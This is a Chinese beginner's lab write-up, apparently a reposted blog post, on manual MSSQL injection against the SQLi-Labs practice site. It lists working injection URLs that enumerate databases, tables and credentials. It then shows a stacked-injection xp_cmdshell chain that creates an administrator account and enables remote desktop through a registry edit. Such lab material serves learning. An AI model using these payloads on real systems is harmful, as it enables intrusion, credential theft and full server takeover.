【渗透测试小白系列】之MSSQL注入

(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

该笔记参考网络中的文章,本文仅为了学习交流,严禁非法使用!!!

一、MSSQL手工注入

  • 测试使用Windows Server 2008 R2 中使用IIS搭建的MSSQL-SQLi-Labs站点的第一关(该站点可在Github中找到)

攻击者:Windows 10系统(宿主机

靶机:Windows Server 2008 R2(虚拟机)

1.判断注入点:

http://IP:PORT/less-1.asp?id='
  • 根据回显可知数据类型为字符型

http://IP:PORT/less-1.asp?id=1'--
  • 正常执行

2.判断数据库类型

扫描二维码关注公众号,回复: 7889433 查看本文章
1 select * from sysobjects
2     sysobjects:MSSQL数据库特有的数据表,系统对象表,保存当前数据库的对象
3 select * from users where id=1 and exists(select * from sysobjects)
4     Exists():子语句查询,Exists方法返回一个布尔值,该布尔值指示在 Dictionary 对象中是否存在指定的 key,如果存在,返回 true,否则返回 false

http://IP:PORT/less-1.asp?id=5' and exists(select * from sysobjects)--

  • 正常执行,说明后台数据库是MSSQL
  • 其他方法判断数据库:常用框架组合方法ASP+MSSQL、页面报错信息

3.注入点权限的判断(根据页面显示效果)

1 select is_srvrolemember('sysadmin');  判断当前是否为sa
2 select is_srvrolemember('db_owner');  判断当前用户写文件、读文件的权限(db_owner)
3 select is_srvrolemember('public');  判断是否有public权限,可以爆破表
  • 以上正确执行后返回值都为1
  • 判断当前是否为sa
1 http://IP:PORT/less-1.asp?id=5' and exists(select is_srvrolemember('sysadmin'))--
2 或http://IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('sysadmin'))>0--

  • 判断当前用户写文件、读文件的权限
http://IP:PORT/less-1.asp?id=5' and (select is_srvrolemember('db_owner'))>0--

4.信息收集

  • 查看当前数据库
1 select db_name(N)  表示当前数据库,其中的参数表示第N个数据库,从0开始
2 http://IP:PORT/less-1.asp?id=5' and (select db_name())>0--
3 或http://IP:PORT/less-1.asp?id=5' and (convert(int,db_name()))>0--
4     convert转换,将db_name()的数据类型转换为int型

  • 查看所有数据库
    • 方法1:
http://IP:PORT/less-1.asp?id=5' and (convert(int,db_name(N)))>0--//变换N的值就可以爆出所有数据库的名称
    • 方法2:
1 SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms');
2     Master系统数据库
3     SELECT top 1 Name FROM Master..SysDatabases  在系统数据库中能够查询所有的数据库
4     where name not in ('master','aspcms')  表示查询的结果不在括号中的集合里
5 http://IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases)>0--

http://IP:PORT/less-1.asp?id=5' and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0-- 可依次添加每次爆出的数据就可以报错所有数据库

  • 查看数据库版本
1 select @@version
2 http://IP:PORT/less-1.asp?id=5' and (select @@version)>0--
3 或http://IP:PORT/less-1.asp?id=5' and (select @@version)=1--

  • 查看当前用户
1 user
2 http://IP:PORT/less-1.asp?id=5' and (user)>0--
  • 这里的用户dbo就等于databaseown,即sa用户

5.当前数据库中的表

1 select top 1 name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0
2 select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0  获取第一个表名
3 http://IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0)>0--

1 select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails','uagents')
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails'))>0--

6.获取指定表中的字段名

1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users'
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users')>0--

1 select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username')
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username'))>0--

7.获取字段数据

1 select top 1 username from users
2 http://IP:PORT/less-1.asp?id=5' and (select top 1 username from users)>0--

http://IP:PORT/less-1.asp?id=5' and (select top 1 password from users)>0--

8.解密数据,登录后台

二、使用MSSQL的xp_cmdshell扩展

xp_cmdshell 扩展:存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出

1.判断当前MSSQL数据库有没有xp_cmdshell扩展,返回值为1,表示有扩展

select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'

2.测试是否可执行系统命令

1 exec master..xp_cmdshell 'net user'
2 exec master.dbo.xp_cmdshell 'net user'
3     exec表示要执行系统命令

  • 上图显示的错误解决方法:
    • 执行以下语句
1 EXEC sp_configure 'show advanced options', 1;
2 RECONFIGURE;
3 EXEC sp_configure 'xp_cmdshell', 1;
4 RECONFIGURE;
    • 代码功能:

EXEC sp_configure 'show advanced options' , 1

  sp_configure 是修改系统配置的存储过程,当设置 show advanced options 参数为 1 时,才允许修改系统配置中的某些高级选相!!系统中这些高级选项默认是不允许修改的!('xp_cmdshell' 是高级选项参数之一! )

RECONFIGURE

  提交第一步操作并更新使用 sp_configure 系统存储过程更改的配置选项的当前配置

EXEC sp_configure 'xp_cmdshell' ,1

  执行系统存储过程 修改 高级选项 参数'xp_cmdshell' 等于1,这个参数等于1 表示允许sqlserver 调用数据库之外的操作系统命令

RECONFIGURE

  提交更新第三步的操作

  • 代码成功执行

三、利用MSSQL的xp_cmdshell扩展获取服务器权限

1.判断当前MSSQL数据库有没有xp_cmdshell扩展

1 http://IP:PORT/less-1.asp?id=5' and (select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')>0--

2.利用xp_cmdshell扩展执行系统命令

1 exec master..xp_cmdshell 'net user'  exec需要独立使用,利用堆叠注入
2 http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net user'--
  • 命令执行之后在浏览器中是没有正常回显的,这里只要没有报错,就说明命令执行成功,如果想看到执行命令之后的结果,需要创建一个临时表,将执行结果写入,最后再读

3.创建一个新用户kiko

http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net user kiko 密码 /add'--

  • 进入靶机系统中,查看创建用户是否成功

4.将用户kiko添加到管理员组中

http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'net localgroup administrators kiko /add'--

  • 进入靶机中,命令执行成功

5.开启靶机3389端口

http://IP:PORT/less-1.asp?id=5';exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f'--

6.启动远程桌面连接,过程如下:

  • 连接成功!

猜你喜欢

转载自www.cnblogs.com/yankaohaitaiwei/p/11809398.html